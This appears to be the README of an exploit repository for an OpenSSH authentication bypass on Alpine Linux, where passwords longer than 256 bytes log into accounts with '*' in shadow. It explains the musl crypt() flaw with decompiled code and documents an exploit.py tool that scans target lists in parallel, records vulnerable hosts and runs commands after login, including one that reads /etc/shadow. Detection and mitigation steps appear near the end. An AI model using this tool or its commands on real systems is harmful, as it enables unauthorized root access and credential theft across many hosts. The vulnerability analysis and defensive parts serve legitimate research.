> This repository is intended solely for educational purposes, security research, and testing in **authorized and controlled environments**. Using this material against systems without explicit permission from the owner is illegal and unethical. The author assumes no responsibility for any misuse, damage, or legal consequences resulting from the use of this content outside an authorized context.
`sshd` on Alpine Linux accepts password authentication for accounts **with no password configured** (`*` in shadow) when the attacker sends a password longer than 256 bytes. No prior privileges are required — network access to the SSH port is sufficient.
The vulnerability arises from the interaction of three independent design decisions:
┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure │
│ (glibc returns NULL; no ambiguity) │
│ │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes │
│ password > 256B → crypt() fails → returns "*" │
│ │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration │
│ sshd ALWAYS calls crypt() even for no-password accts │
│ using a salt "borrowed" from another account │
│ │
│ RESULT: │
│ crypt("A"×300, real_salt) → "*" ← musl failure │
│ strcmp("*", "*") → 0 ← no-password acct │
│ LOGIN ACCEPTED │
└──────────────────────────────────────────────────────────┘
## Mechanism: Why Two Attempts Are Required
This is a critical detail **not documented in public CVE sources**.
Alpine's `sshd` uses `pick_salt()` in `xcrypt.c` with a **static cache** (`salt_0`). The bypass requires exactly two attempts within the **same SSH connection**:
| Attempt | `pick_salt()` | `pw_password` state | `crypt()` | Result |
| **1st** | Runs `getpwent/getspnam` loop → overwrites musl static buffer | Corrupted (points to another account's data) | `"*"` | `strcmp("*", )` → **FAIL** |
| **2nd** | Cache `salt_0 != '\0'` → returns immediately, no `getspnam()` | Valid: still `"*"` from target account | `"*"` | `strcmp("*", "*") == 0` → **SUCCESS** |
**musl buffer aliasing:** `getspnam()` uses a single global static buffer for all calls. On the 1st attempt, `pick_salt()` calls `getspnam("hashuser")` to retrieve the salt, overwriting the buffer that `pw_password` points into (which came from `getspnam("victim")`). On the 2nd attempt, the loop is skipped — buffer untouched → exploit succeeds.
The exploit uses `paramiko.Transport` directly to perform both attempts within the **same SSH connection**.
Binary: `sshd-session` (ELF x86_64, OpenSSH 9.9p2, Alpine 3.21, with debug symbols)
| `sys_auth_passwd` | `0x10f2e0` | Main gate — vulnerable condition |
| `xcrypt` | `0x1a7720` | `pick_salt` inlined here (was `static`) |
| `shadow_pw` | `0x1a7700` | Calls `getspnam()` — buffer aliasing |
> `pick_salt` has no separate symbol; the compiler inlined it inside `xcrypt`.
### `sys_auth_passwd` — vulnerable condition
// victim has shadow "*" → pw_password = "*"
// GATE: pw_password[1] == '\0' ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0; // strcmp("*","*") → LOGIN ACCEPTED
if (salt_0 == '\0') { // 1st call: populate cache
pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
// 2nd call: salt_0 != '\0' → skips loop, no getspnam()
return crypt(password, salt); // musl: len > 256 → returns "*"
| `PasswordAuthentication yes` | yes (default) |
| `UsePAM no` (no PAM) | yes (default, no PAM installed) |
| Target account with `*` in shadow | yes (root since Alpine 3.16; key-only accounts) |
| At least one other account with `$5$`/`$6$` hash | required for `pick_salt()` |
**Not vulnerable:** glibc systems (Debian/Ubuntu/RHEL), `UsePAM yes`, `PasswordAuthentication no`, or shadow `!` (locked account).
### Accounts with `*` in shadow — real-world prevalence
| `root` | Alpine default since 3.16 (key-only login) |
| `alpine` | Cloud-init default user (AWS, GCP, Hetzner) |
| `ec2-user` | Amazon Linux AMIs based on Alpine |
| `nobody`, `nginx`, `postgres` | Created by package managers without passwords |
≤ 256 bytes → rejected (crypt() works, returns real hash)
257–1024 → ACCEPTED (crypt() fails at KEY_MAX, returns "*")
≥ 1025 → rejected (OpenSSH MAX_PASSWORD_LEN = 1024)
| ** /etc/ssh/sshd_config.d/disable-pw.conf
> Confirm key-based login works before disabling password authentication.
usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
[--auto] [--scan] [--check] [--workers N] [--output FILE]
--single IP Single target (e.g. 192.168.1.10)
--list FILE IP list file (one per line; supports IP:port)
--user NAME Target user (not required with --auto)
operation mode (default: direct exploit):
--auto Test common accounts with '*' in shadow: root, alpine,
--scan Map the password size boundary (requires --user)
--check Check preconditions without exploiting (requires --user)
--workers N Parallel workers for --list (default: 1; recommended: <= 20)
--output FILE Save vulnerable results to .txt (append; skips non-vulnerable)
--cmd CMD Command to run after login (default: id)
--size N Oversized password length (default: 300; range: 257-1024)
-v, --verbose Verbose output with technical mechanism details
-h, --help Show this message and exit
# auto-scan a single target (tests common accounts)
python3 exploit.py --single 192.168.1.10 --port 22 --auto
# auto-scan a target list, save vulnerable results
python3 exploit.py --list targets.txt --auto --output vul.txt
python3 exploit.py --list targets.txt --auto --workers 10 --output vul.txt
# direct exploit on a known user with a custom command
python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'
python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan
python3 exploit.py --single 192.168.1.10 --port 22 --user root --check
192.168.1.10 # uses global --port
192.168.1.11:2222 # overrides port for this host
grep "Accepted password" /var/log/messages
# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow
- [Alpine Linux Advisory](
- [BleepingComputer](
- [Security Boulevard](
- [The Hacker News](
- [Researcher's page](
- [Upstream PoC (C/Rust)](
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
